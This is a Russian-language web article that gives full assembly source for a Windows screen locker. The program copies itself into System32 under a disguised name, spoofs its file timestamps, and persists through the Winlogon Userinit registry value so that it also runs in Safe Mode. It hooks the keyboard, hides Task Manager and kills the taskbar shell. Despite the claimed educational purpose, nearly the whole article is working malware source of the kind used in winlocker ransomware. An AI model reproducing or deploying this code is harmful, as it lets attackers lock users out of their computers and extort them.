Воскресенье, 05.05.2024, 22:32
Приветствую Вас Гость | Регистрация | Вход

Ремонт компьютера за час на дому и офисе

Каталог статей

Главная » Статьи » Статьи

Блокиратор Windows

Для начала скажу, что программа эта тестировалась на Win XP, Vista и Windows 7, и нигде не удалось ее обойти или убить. Весит это чудо 4.5 кб в неупакованном виде:)
Конечно, я привожу код лишь в образовательных целях. Ради демонстрации интерфейс программы содержит одно поле для ввода пароля и кнопку для разблокировки, при нажатии на которую программа проверяет пароль, закрывается и отменяет все сделанные ей изменения, пасс по умолчанию – 123. Ответственность за использование программы во вред другим ложится целиком на вас.

Сначала – директивы, инклюды, как обычно…
.486 ;создаем 32-разрядный код для 486
.model flat, stdcall ;стандартная модель памяти
option casemap :none ;регистрозависимые параметры

;подключаем необходимые библиотеки и макросы
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\Comctl32.inc
include \masm32\include\shell32.inc
include \masm32\include\DIALOGS.INC
include \masm32\macros\macros.asm
include \masm32\macros\ucmacros.asm
include \masm32\include\advapi32.inc

;соответствующие им lib-файлы
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\Comctl32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\advapi32.lib

;прототипы некоторых процедур
DialogProc PROTO :DWORD,:DWORD,:DWORD,:DWORD ;главная процедура обработки сообщений, посылаемых окну
MyHook PROTO :DWORD,:DWORD,:DWORD ;процедура подавления клавиатуры
EnumProc PROTO :DWORDm, :DWORD ;процедура поиска и закрытия програм менеджера

Теперь – секция данных.
.data
taskman dd 0 ;переменная для хранения хендла окна таскменеджера

;далее - несколько юникодовых переменных для работы с реестром и файлами
;дальше я поясню, куда можно записать программу для хорошего автозапуска
WSTR regkey,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
WSTR keyname,"Userinit"
WSTR userinit,"\userinit.exe,"
WSTR userinit2,"\userinit.exe"
WSTR MyFile,"\usrinit.exe"

;указывает, убит ли уже Program Manager - часть explorer.exe
explorerKilled db 0

;секция неинициализированных данных
.data?
hWnd dd ? ;хендл нашего окна
hInstance dd ? ;хендл текущего процесса

hIDKey dd ? ;хендл открываемого ключа реестра

;структуры для изменения даты файла
ftime1 FILETIME <>
ftime2 FILETIME <>
ftime3 FILETIME <>

hook dd ? ;хендл устанавливаемого хука

;несколько буферов для хранения строк
buf db 256 dup(?)
buf2 db 256 dup(?)
sys32 db 128 dup(?)

Теперь рассмотрим основной код и алгоритм работы.
.code

start:

mov hInstance,FUNC(GetModuleHandle,NULL) ;получаем хендл текущего процесса
call main ;вызываем функцию main
invoke ExitProcess,eax

main PROC
invoke SHGetFolderPathW,NULL,CSIDL_SYSTEM,NULL,0,offset sys32 ;получаем путь к папке System32 в Unicode

invoke lstrcpyW,offset buf2,offset sys32 ;объединяем полученный путь с именем нашего файла, который мы скопируем
invoke lstrcatW,eax,offset MyFile ;в папку system32

invoke WideCharToMultiByte,CP_ACP,0,offset buf2,-1,offset buf,255,NULL,NULL ;преобразуем полученную строку в ansi

invoke GetCommandLine ;получаем значение командной строки
mov esi,eax ;и получаем из нее имя исполняемого файла
mov edi,eax ;оно содержится в кавычках
inc edi ;поэтому их нужно убрать
inc esi ;вообще, это всё эквивалентно GetModuleFileName, но я уже сделал так :)
mov al,'"'
repne scasb
mov byte ptr [edi-1],0

push esi ;в esi - указатель на строку с именем и путем к нашему файлу
invoke lstrcmp,esi,offset buf ;если он совпадает с тем путем, по которому мы копируем файл (в System32)
pop esi
.if eax!=0 ;то мы ничего не делаем
invoke CopyFile,esi,offset buf,TRUE ;иначе - копируем файл

.if eax!=0
invoke lstrcpyW,offset buf,offset sys32 ;теперь сделаем дату создания и изменения файла такие же как у userinit.exe
invoke lstrcatW,eax,offset userinit2
invoke CreateFileW,offset buf,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0 ;считаем их
.if eax!=INVALID_HANDLE_VALUE
push eax
invoke GetFileTime,eax,offset ftime1,offset ftime2,offset ftime3 ;вот тут
pop eax
invoke CloseHandle,eax

invoke lstrcpyW,offset buf,offset sys32
invoke lstrcatW,eax,offset MyFile
invoke CreateFileW,offset buf,GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0 ;и применим к нашему файлу
.if eax!=INVALID_HANDLE_VALUE
push eax
invoke SetFileTime,eax,offset ftime1,offset ftime2,offset ftime3 ;здесь
pop eax
invoke CloseHandle,eax
.endif
.endif
.endif

invoke lstrcpyW,offset buf,offset sys32
invoke lstrcatW,eax,offset userinit
invoke lstrcatW,eax,offset sys32
invoke lstrcatW,eax,offset MyFile

;запишемся в одну из веток для автозапуска
call WriteReg
.endif

;ну а теперь создадим диалоговое окно с элементами управления

Dialog " ", \
"MS Sans Serif",8, \
0, \
3, \
50,50,230,90, \
1024

DlgStatic "Введите пароль (123):",0,100,102,100,13,101
DlgEdit WS_TABSTOP,205,100,100,13,202
DlgButton "Остановите это безобразие!",WS_TABSTOP,100,120,200,13,201
CallModalDialog hInstance,0,DialogProc,NULL ;создаем окно и запускаем процедуру обработки сообщений

xor eax,eax
ret
main ENDP

Что же было сделано в предыдущем куске? Сначала программа смотрит, откуда она открыта.
Если это папка System32, и имя программы usrinit.exe, то мы просто создаем диалоговое окно. Если же нет, то мы копируемся с таким именем в System32,
устанавливаем дату создания и изменения файла как у userinit.exe (наша программа зовется уже usrinit.exe), а затем записываемся в автозапуск:
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit.
Этот параметр по умолчанию содержит путь к userinit.exe в папке System32, но туда через запятую можно приписать еще какой-нибудь exe.
Примечательно, что запуск этих файлов будет производиться и в Safe Mode. К сожалению, такие проактивки, как Outpost, предупреждают о попытке изменить этот ключ, считая его критическим. Я не стал искать что-то более замороченное, тем более код я привожу всего лишь в образовательных целях.

Теперь рассмотрим процедуру обработки сообщений, посылаемых окну:
DialogProc proc hWin:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD

.if uMsg == WM_INITDIALOG ;если мы инициализируемся
invoke ShowWindow,hWin,SW_SHOWMAXIMIZED ;максимизируем окно
invoke GetWindowLong,hWin,GWL_STYLE ;убираем рамку и заголовок окна
and eax,not WS_CAPTION
and eax,not WS_THICKFRAME
invoke SetWindowLong,hWin,GWL_STYLE,eax

invoke GetWindowLong,hWin,GWL_EXSTYLE ;делаем форму полупрозрачной
or eax,WS_EX_LAYERED
invoke SetWindowLong,hWin,GWL_EXSTYLE,eax
invoke SetLayeredWindowAttributes,hWin,0,185,LWA_ALPHA

invoke GetCurrentThreadId ;устанавливаем hook на клавиатуру (это для отключения Esc, Alt+F4 и пр.)
mov hook,FUNC(SetWindowsHookEx,WH_KEYBOARD,offset MyHook,NULL,eax)

invoke RegisterHotKey,NULL,108,MOD_ALT,VK_TAB ;ставим hotkey alt+tab - работает, правда, только в XP
invoke SetWindowPos,hWin,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE or SWP_NOSIZE ;ставим окно поверх всех

invoke SetTimer,hWin,101,40,NULL ;запускаем таймер для выполнения действий по своему анти-закрытию

m2m hWnd, hWin

.elseif uMsg == WM_COMMAND ;если нажали на кнопку
.if wParam==201 ;если это кнопка разблокировки
invoke GetDlgItemText,hWnd,202,offset buf,100 ;получаем введенный текст
invoke lstrcmp,offset buf,chr$("123") ;сравниваем с "123"
test eax,eax ;если все верно
je @F ;то выходим
ret ;иначе - продолжаем выполнение
@@:
invoke UnhookWindowsHookEx,hook
invoke UnregisterHotKey,NULL,108 ;убираем hotkey
invoke KillTimer,hWnd,101 ;отключаем таймер
.if taskman!=0
invoke ShowWindow,taskman,SW_SHOW ;если мы скрывали таскменеджер, то покажем его
.endif

invoke lstrcpyW,offset buf,offset sys32
invoke lstrcatW,eax,offset userinit

;почистим реестр от себя
call WriteReg

invoke EndDialog,hWin,0 ;выйдем из программы
.endif
.elseif uMsg==WM_TIMER ;сообщение по таймеру

invoke SetForegroundWindow, hWnd ;делаем себя поверх всех
invoke SetWindowPos,hWnd,HWND_TOP,0,0,0,0,SWP_NOMOVE or SWP_NOSIZE

call GetForegroundWindow ;проверяем, а нет ли кого выше нас?
cmp eax,hWnd ;если нет - то все нормально
je good
push eax
invoke GetClassName,eax,offset buf,30 ;проверяем, не taskman ли это?
invoke lstrcmp,offset buf,chr$("#32770") ;класс dialog box'а - это наверняка таскменеджер
pop ebx
test eax,eax
jne good
mov taskman,ebx
invoke ShowWindow,ebx,SW_HIDE ;скрываем его
good:

.if explorerKilled==0
invoke EnumWindows,offset EnumProc,NULL ;если мы еще не убили Program Manager - пытаемся его найти и убить
.endif

.endif

xor eax,eax
ret
DialogProc ENDP

Что же делается в вышеописанном куске кода?
Сначала мы создаем перехват клавиатуры – это помогает отключить клавиши Esc, Alt+F4. Потом мы создаем комбинацию горячих клавиш Alt+Tab – работает, правда, только в Windows XP, но и в других системах это не облегчает убивание программы. Окно мы разворачиваем и делаем полупрозрачным, чтобы было видно, что окошки за ним остались :)
По таймеру проверяем, нет ли кого поверх нашего окна, если это таск менеджер, то скрываем его, если нет, то просто делаем себя активным окном поверх всех.
По нажатию на кнопку разблокировки проверяем пароль, и если он верный, то отменяем все действия, чистим реестр и выходим.

Теперь посмотрим на хук и на процедуру убивания Program Manager’а, а также на процедуру записи в реестр. К слову, програм менеджер – это часть explorer.exe, которая отвечает за трейбар и все что с ним связано, а также за иконки на рабочем столе.
Соответственно, закрыв его, мы просто уберем всё это с экрана, лишив пользователя кнопки Win и прочих возможностей убить нашу программу.
MyHook PROC nCode:DWORD,wParam:DWORD,lParam:DWORD ;перехват клавиатуры
cmp nCode,0
jge @F
invoke CallNextHookEx,WH_KEYBOARD,nCode,wParam,lParam ;по стандарту Windows
ret
@@:

.if (wParam>=31h && wParam<=3Ah) || wParam==8 ;если нажали цифру или BackSpace - то пропускаем нажатие
invoke CallNextHookEx,WH_KEYBOARD,nCode,wParam,lParam
ret
.endif

mov eax,1 ;говорим, что мы обработали клавишу и не пересылаем ее дальше в очереди обработчиков

ret
MyHook ENDP

EnumProc PROC,hWndf :DWORD,lParam :DWORD ;поиск и убивание Program Manager'а
invoke GetWindowText,hWndf,offset buf2,29 ;проверяем, а не програм менеджер ли мы нашли?
invoke lstrcmp,offset buf2,chr$("Program Manager")

test eax,eax ;и если это действительно он
jne @F
mov explorerKilled,1 ;отмечаем, что мы нашли его и убили, чтобы не гонять цикл впустую (см. код выше)
invoke SendMessage,hWndf,WM_ENDSESSION,TRUE,ENDSESSION_CRITICAL ;посылаем ему сообщение о том, что следует немедленно закрыться, что он и делает
@@:
ret
EnumProc ENDP

WriteReg PROC
invoke RegCreateKeyExW,HKEY_LOCAL_MACHINE,offset regkey,NULL,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,offset hIDKey,NULL ;открываем ключ для записи
.IF eax==ERROR_SUCCESS ;если удалось открыть
invoke lstrlenW,offset buf ;длина буфера
add eax,eax ;в байтах
add eax,2 ;с учетом нулевых байтов
invoke RegSetValueExW,hIDKey,offset keyname,NULL,REG_SZ,offset buf,eax ;записываем в регистр
invoke RegCloseKey,hIDKey ;закрываем ключ
.ENDIF
ret
WriteReg ENDP

end start

Ну вот и весь код – в общей сложности примерно 250 строк. Чтобы запустить Program Manager после его закрытия, нужно через диспетчер процессов убить explorer.exe, а потом запустить его снова.
Прикладываю для демнострации собственно exe-файл с кнопкой разблокировки и его полный код. Как его компилировать – описано в более ранних статьях.


Категория: Статьи | Добавил: ipsyedinmk (06.11.2009)
Просмотров: 2504
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]